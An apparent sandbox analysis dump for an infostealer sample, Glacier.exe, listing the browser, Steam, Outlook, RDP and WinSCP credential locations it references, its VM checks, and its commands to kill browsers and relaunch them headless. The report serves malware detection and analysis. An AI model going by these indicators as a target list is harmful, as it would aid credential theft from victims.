"SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "BraveSoftware\Brave-Browser-Beta\User Data" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "BraveSoftware\Brave-Browser-Nightly\User Data" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Opera Software\Opera Stable" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Opera Software\Opera GX Stable" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Opera Software\Opera Neon\User Data" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "AVAST Software\Browser\User Data" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Software\Valve\Steam" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Software\Valve\Steam\Users" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Software\Microsoft\Office\%s\Outlook\Profiles\%s\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Software\Microsoft\Terminal Server Client\Servers" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Software\Martin Prikryl\WinSCP 2\Sessions" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Software\Roblox\RobloxStudioBrowser\roblox.com" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Software\Roblox\RobloxPlayerBrowser\roblox.com" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp 00000000-00001176.00000001.167729.00400000.00000004.mdmp 00000000-00001176.00000001.167729.40000000.00000040.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00001176.00000000.167448.74510000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00001176.00000000.167448.74510000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001176.00000000.167448.74510000.00000004.mdmp "SOFTWARE\Mozilla\Firefox\PreXULSkeletonUISettings" in Source: 00000000-00001176.00000001.167729.6E527000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize" in Source: 00000000-00001176.00000001.167729.6E527000.00000002.mdmp ":\Users\VXQ8XVw\AppData\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp "??\C:\Users\VXQ8XVw\AppData\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp "??\C:\Users\VXQ8XVw\AppData\Roaming\AVAST Software\Browser\User Data" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp "4-1938232448-3812392235-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp "??\C:\Users\VXQ8XVw\AppData\Local\Opera Software\Opera GX Stable" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp "??\C:\Users\VXQ8XVw\AppData\Local\BraveSoftware\Brave-Browser-Nightly\User Data" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp "??\C:\Users\VXQ8XVw\AppData\Roaming\BraveSoftware\Brave-Browser-Nightly\User Data" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp "??\C:\Users\VXQ8XVw\AppData\Local\BraveSoftware\Brave-Browser-Beta\User Data" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp ":\Users\VXQ8XVw\AppData\Local\BraveSoftware\Brave-Browser-Nightly\User Data" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp40:T923,Process Glacier.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1176:304:WilStaging_02" Process Glacier.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1176:304:WilStaging_02" Process Glacier.exe created mutex with name "Local\SM0:1176:304:WilStaging_02" Process Glacier.exe created mutex with name "SM0:1176:304:WilStaging_02" Process taskkill.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4308:304:WilStaging_02" Process taskkill.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4308:304:WilStaging_02" Process taskkill.exe created mutex with name "SM0:4308:304:WilStaging_02" Process taskkill.exe created mutex with name "Local\SM0:4308:304:WilStaging_02" Process taskkill.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4772:304:WilStaging_02" Process taskkill.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4772:304:WilStaging_02" Process taskkill.exe created mutex with name "Local\SM0:4772:304:WilStaging_02" Process taskkill.exe created mutex with name "SM0:4772:304:WilStaging_02" Process taskkill.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:9008:304:WilStaging_02" Process taskkill.exe created mutex with name "SM0:9008:304:WilStaging_02" Process taskkill.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:952:304:WilStaging_02" Process taskkill.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:952:304:WilStaging_02" Process taskkill.exe created mutex with name "Local\SM0:952:304:WilStaging_02" Process taskkill.exe created mutex with name "SM0:952:304:WilStaging_02" Process taskkill.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2132:304:WilStaging_02" Process taskkill.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2132:304:WilStaging_02" Process taskkill.exe created mutex with name "Local\SM0:2132:304:WilStaging_02" Process taskkill.exe created mutex with name "SM0:2132:304:WilStaging_02" Process taskkill.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:8452:304:WilStaging_02" Process taskkill.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:8452:304:WilStaging_02" Process taskkill.exe created mutex with name "Local\SM0:8452:304:WilStaging_02"41:T25ba,"SOFTWARE\VMware, Inc.\VMware Tools" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "SOFTWARE\Oracle\VirtualBox Guest Additions" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "SYSTEM\CurrentControlSet\Services\VBoxGuest" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "SYSTEM\CurrentControlSet\Services\vmci" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "BraveSoftware\Brave-Browser-Beta\User Data" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "BraveSoftware\Brave-Browser-Nightly\User Data" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "Opera Software\Opera Stable" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "Opera Software\Opera GX Stable" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "Opera Software\Opera Neon\User Data" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "AVAST Software\Browser\User Data" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "Software\Valve\Steam" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "Software\Valve\Steam\Users" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "Software\Microsoft\Office\%s\Outlook\Profiles\%s\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "Software\Microsoft\Terminal Server Client\Servers" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "Software\Martin Prikryl\WinSCP 2\Sessions" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "Software\Roblox\RobloxStudioBrowser\roblox.com" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "Software\Roblox\RobloxPlayerBrowser\roblox.com" in Source: 00000000-00001176.00000000.167448.40000000.00000040.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00001176.00000000.167448.74510000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00001176.00000000.167448.74510000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001176.00000000.167448.74510000.00000004.mdmp "SOFTWARE\VMware, Inc.\VMware Tools" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "SOFTWARE\Oracle\VirtualBox Guest Additions" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "SYSTEM\CurrentControlSet\Services\VBoxGuest" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "SYSTEM\CurrentControlSet\Services\vmci" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "BraveSoftware\Brave-Browser-Beta\User Data" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "BraveSoftware\Brave-Browser-Nightly\User Data" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "Opera Software\Opera Stable" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "Opera Software\Opera GX Stable" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "Opera Software\Opera Neon\User Data" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "AVAST Software\Browser\User Data" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "Software\Valve\Steam" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "Software\Valve\Steam\Users" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "Software\Microsoft\Office\%s\Outlook\Profiles\%s\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "Software\Microsoft\Terminal Server Client\Servers" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "Software\Martin Prikryl\WinSCP 2\Sessions" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "Software\Roblox\RobloxStudioBrowser\roblox.com" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "Software\Roblox\RobloxPlayerBrowser\roblox.com" in Source: 00000000-00001176.00000001.167729.00400000.00000004.mdmp "SOFTWARE\VMware, Inc.\VMware Tools" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "SOFTWARE\Oracle\VirtualBox Guest Additions" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "SYSTEM\CurrentControlSet\Services\VBoxGuest" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "SYSTEM\CurrentControlSet\Services\vmci" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "BraveSoftware\Brave-Browser-Beta\User Data" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "BraveSoftware\Brave-Browser-Nightly\User Data" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Opera Software\Opera Stable" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Opera Software\Opera GX Stable" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Opera Software\Opera Neon\User Data" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "AVAST Software\Browser\User Data" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Software\Valve\Steam" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Software\Valve\Steam\Users" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Software\Microsoft\Office\%s\Outlook\Profiles\%s\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Software\Microsoft\Terminal Server Client\Servers" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Software\Martin Prikryl\WinSCP 2\Sessions" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Software\Roblox\RobloxStudioBrowser\roblox.com" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "Software\Roblox\RobloxPlayerBrowser\roblox.com" in Source: 00000000-00001176.00000001.167729.40000000.00000040.mdmp "SOFTWARE\Mozilla\Firefox\PreXULSkeletonUISettings" in Source: 00000000-00001176.00000001.167729.6E527000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize" in Source: 00000000-00001176.00000001.167729.6E527000.00000002.mdmp ":\Users\VXQ8XVw\AppData\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp "??\C:\Users\VXQ8XVw\AppData\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp "??\C:\Users\VXQ8XVw\AppData\Roaming\AVAST Software\Browser\User Data" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp "4-1938232448-3812392235-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp "??\C:\Users\VXQ8XVw\AppData\Local\Opera Software\Opera GX Stable" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp "??\C:\Users\VXQ8XVw\AppData\Local\BraveSoftware\Brave-Browser-Nightly\User Data" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp "??\C:\Users\VXQ8XVw\AppData\Roaming\BraveSoftware\Brave-Browser-Nightly\User Data" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp "??\C:\Users\VXQ8XVw\AppData\Local\BraveSoftware\Brave-Browser-Beta\User Data" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp ":\Users\VXQ8XVw\AppData\Local\BraveSoftware\Brave-Browser-Nightly\User Data" in Source: 00000000-00001176.00000001.167729.74510000.00000004.mdmp42:Tccd,"Glacier.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffb6e7b0000 "Glacier.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 7ffba30b0000 "Glacier.exe" loaded module "NTDLL.DLL" at base 7ffba5490000 "Glacier.exe" loaded module "WINMM.DLL" at base 7ffb98b50000 "Glacier.exe" loaded module "WS2_32.DLL" at base 7ffba4900000 "Glacier.exe" loaded module "POWRPROF.DLL" at base 7ffba2790000 "Glacier.exe" loaded module "KERNEL32.DLL" at base 7ffba3ae0000 "Glacier.exe" loaded module "ADVAPI32.DLL" at base 7ffba4640000 "Glacier.exe" loaded module "API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL" at base 7ffba2ef0000 "Glacier.exe" loaded module "API-MS-WIN-CRT-HEAP-L1-1-0.DLL" at base 7ffba2ef0000 "Glacier.exe" loaded module "API-MS-WIN-CRT-LOCALE-L1-1-0.DLL" at base 7ffba2ef0000 "Glacier.exe" loaded module "API-MS-WIN-CRT-MATH-L1-1-0.DLL" at base 7ffba2ef0000 "Glacier.exe" loaded module "API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL" at base 7ffba2ef0000 "Glacier.exe" loaded module "API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL" at base 7ffba2ef0000 "Glacier.exe" loaded module "API-MS-WIN-CRT-STDIO-L1-1-0.DLL" at base 7ffba2ef0000 "Glacier.exe" loaded module "API-MS-WIN-CRT-STRING-L1-1-0.DLL" at base 7ffba2ef0000 "Glacier.exe" loaded module "USER32.DLL" at base 7ffba43e0000 "Glacier.exe" loaded module "BCRYPT.DLL" at base 7ffba2190000 "Glacier.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffba30b0000 "Glacier.exe" loaded module "WINHTTP.DLL" at base 7ffb9c370000 "Glacier.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffb8b5d0000 "Glacier.exe" loaded module "RPCRT4.DLL" at base 7ffba41e0000 "Glacier.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffba1d70000 "Glacier.exe" loaded module "SSPICLI.DLL" at base 7ffba1b50000 "Glacier.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffb99bb0000 "Glacier.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffb9b2b0000 "Glacier.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffba1770000 "Glacier.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffb91330000 "Glacier.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffba1870000 "Glacier.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffb9fee0000 "Glacier.exe" loaded module "GDIPLUS.DLL" at base 7ffb91060000 "Glacier.exe" loaded module "OLE32.DLL" at base 7ffba4990000 "Glacier.exe" loaded module "%WINDIR%\WINSXS\AMD64_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.22621.1635_NONE_57FA636ACE18905C\GDIPLUS.DLL" at base 7ffb91060000 "Glacier.exe" loaded module "WINDOWSCODECS.DLL" at base 7ffb9e350000 "Glacier.exe" loaded module "KERNELBASE" at base 7ffba2b40000 "Glacier.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ffb9fd40000 "Glacier.exe" loaded module "KERNELBASE.DLL" at base 7ffba2b40000 "Glacier.exe" loaded module "CRYPTBASE.DLL" at base 7ffba1ff0000 "Glacier.exe" loaded module "NSS3.DLL" at base 7ffb6e550000 "Glacier.exe" loaded module "%PROGRAMFILES%\MOZILLA FIREFOX\SOFTOKN3.DLL" at base 7ffb79a90000 "Glacier.exe" loaded module "%PROGRAMFILES%\MOZILLA FIREFOX\FREEBL3.DLL" at base 7ffb6e390000 "Glacier.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffba190000043:T409,Spawned process "taskkill.exe" with commandline "taskkill /F /IM msedge.exe" (UID: 00000000-00004308) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe" (UID: 00000000-00004772) Spawned process "taskkill.exe" with commandline "taskkill /F /IM brave.exe" (UID: 00000000-00009008) Spawned process "taskkill.exe" with commandline "taskkill /F /IM opera.exe" (UID: 00000000-00000952) Spawned process "taskkill.exe" with commandline "taskkill /F /IM vivaldi.exe" (UID: 00000000-00002132) Spawned process "taskkill.exe" with commandline "taskkill /F /IM browser.exe" (UID: 00000000-00008452) Spawned process "taskkill.exe" with commandline "taskkill /F /IM yandex.exe" (UID: 00000000-00008500) Spawned process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00008020) Spawned process "chrome.exe" with commandline "--no-startup-window --headless" (UID: 00000000-00002924) Spawned process "msedge.exe" with commandline "--no-startup-window --headless" (UID: 00000000-00005528)44:T409,Spawned process "taskkill.exe" with commandline "taskkill /F /IM msedge.exe" (UID: 00000000-00004308) Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe" (UID: 00000000-00004772) Spawned process "taskkill.exe" with commandline "taskkill /F /IM brave.exe" (UID: 00000000-00009008) Spawned process "taskkill.exe" with commandline "taskkill /F /IM opera.exe" (UID: 00000000-00000952) Spawned process "taskkill.exe" with commandline "taskkill /F /IM vivaldi.exe" (UID: 00000000-00002132) Spawned process "taskkill.exe" with commandline "taskkill /F /IM browser.exe" (UID: 00000000-00008452) Spawned process "taskkill.exe" with commandline "taskkill /F /IM yandex.exe" (UID: 00000000-00008500) Spawned process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00008020) Spawned process "chrome.exe" with commandline "--no-startup-window --headless" (UID: 00000000-00002924) Spawned process "msedge.exe" with commandline "--no-startup-window --headless" (UID: 00000000-00005528)45:T6cc,The input sample is signed with a certificate issued by "CN=YE2, O=Let's Encrypt, C=US" (SHA1: 92:0D:E1:7C:5B:FC:E7:9D:F2:95:0D:AC:FB:6A:1F:47:3E:91:8E:DC; see report for more information) The input sample is signed with a certificate issued by "CN=Root YE, O=ISRG, C=US" (SHA1: F8:15:8C:A8:A3:A7:C5:DB:D7:84:22:18:F5:D9:49:CE:C8:3A:CD:BA; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X2, O=Internet Security Research Group, C=US" (SHA1: F3:76:20:FC:4B:1C:DD:D2:A3:D7:4B:1D:5E:8D:B4:2E:24:4C:A0:06; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 3C:34:E3:56:C7:FC:17:F5:AC:F0:48:24:BC:58:7C:6C:62:39:51:A2; see report for more information) The input sample is signed with a certificate issued by "CN=Atlas Metric Industries, O=Atlas Metric Industries, C=US" (SHA1: D3:8C:F2:07:AB:90:F5:C9:C6:19:E3:54:C6:86:4E:9B:CF:6E:2E:70; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Assured ID Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: A9:9D:5B:79:E9:F1:CD:A5:9C:DA:B6:37:31:69:D5:35:3F:58:74:C6; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Trusted Root G4, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 07:89:4D:00:FC:19:4A:17:DB:27:3A:EB:5C:F8:FA:CE:F1:44:23:A4; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Trusted G4 TimeStamping RSA4096 SHA256 2025 CA1, O="DigiCert Inc.", C=US" (SHA1: 51:D9:AB:DA:03:49:73:D8:4F:42:66:AC:A4:82:48:E6:B3:69:C4:39; see report for more information)46:Tef0,"akg_ff_362d9747.tmp" has type "SQLite 3.x database user version 12 (0xc) last written using SQLite version 3041002 page size 32768 writer version 2 read version 2 file counter 3 database pages 3 cookie 0x1 schema 4 UTF-8 version-valid-for 3"- Location: [%TEMP%\akg_ff_362d9747.tmp]- [targetUID: 00000000-00001176] "akg_362d94c6_9.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 41 database pages 129 1st free page 67 free pages 14 cookie 0x9b schema 4 UTF-8 version-valid-for 41"- Location: [%TEMP%\akg_362d94c6_9.tmp]- [targetUID: 00000000-00001176] "akg_362d94e6_a.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 41 database pages 51 1st free page 9 free pages 1 cookie 0x100 schema 4 UTF-8 version-valid-for 41"- Location: [%TEMP%\akg_362d94e6_a.tmp]- [targetUID: 00000000-00001176] "akg_362d8eef_5.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 2 database pages 40 cookie 0x21 schema 4 UTF-8 version-valid-for 2"- Location: [%TEMP%\akg_362d8eef_5.tmp]- [targetUID: 00000000-00001176] "akg_362d8ed0_4.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 5 database pages 75 cookie 0x2d schema 4 UTF-8 version-valid-for 5"- Location: [%TEMP%\akg_362d8ed0_4.tmp]- [targetUID: 00000000-00001176] "akg_362d94a7_8.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 84 database pages 18 1st free page 16 free pages 7 cookie 0x21 schema 4 UTF-8 version-valid-for 84"- Location: [%TEMP%\akg_362d94a7_8.tmp]- [targetUID: 00000000-00001176] "akg_362d9488_6.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 5 database pages 28 cookie 0x1c schema 4 UTF-8 version-valid-for 5"- Location: [%TEMP%\akg_362d9488_6.tmp]- [targetUID: 00000000-00001176] "akg_362d9498_7.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 1 database pages 25 cookie 0xe schema 4 UTF-8 version-valid-for 1"- Location: [%TEMP%\akg_362d9498_7.tmp]- [targetUID: 00000000-00001176] "akg_362d8ec0_1.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 1 database pages 20 cookie 0xb schema 4 UTF-8 version-valid-for 1"- Location: [%TEMP%\akg_362d8ec0_1.tmp]- [targetUID: 00000000-00001176] "akg_362d8ed0_3.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 7 database pages 5 cookie 0x3 schema 4 UTF-8 version-valid-for 7"- Location: [%TEMP%\akg_362d8ed0_3.tmp]- [targetUID: 00000000-00001176] "akg_debug.txt" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\akg_debug.txt]- [targetUID: 00000000-00001176] "test_output.zip" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified Oct 02 2026 12:41:00 uncompressed size 5811 method=deflate"- Location: [C:\test_output.zip]- [targetUID: 00000000-00001176] "~DFb73.tmp" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\~DFb73.tmp]- [targetUID: 00000000-00001176] "akg_362d8ec0_2.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 1 database pages 20 cookie 0xb schema 4 UTF-8 version-valid-for 1"- Location: [%TEMP%\akg_362d8ec0_2.tmp]- [targetUID: 00000000-00001176] "~DF5f31.tmp" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\~DF5f31.tmp]- [targetUID: 00000000-00001176] "~DF5d0a.tmp" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\~DF5d0a.tmp]- [targetUID: 00000000-00001176] "~DF538a.tmp" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\~DF538a.tmp]- [targetUID: 00000000-00001176]47:Tbba,"akg_ff_362d9747.tmp" has type "SQLite 3.x database user version 12 (0xc) last written using SQLite version 3041002 page size 32768 writer version 2 read version 2 file counter 3 database pages 3 cookie 0x1 schema 4 UTF-8 version-valid-for 3" - Location: [%TEMP%\akg_ff_362d9747.tmp] "akg_362d94c6_9.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 41 database pages 129 1st free page 67 free pages 14 cookie 0x9b schema 4 UTF-8 version-valid-for 41" - Location: [%TEMP%\akg_362d94c6_9.tmp] "akg_362d94e6_a.tmp" has type "SQLite 3.x database last written using SQLite version 3050004 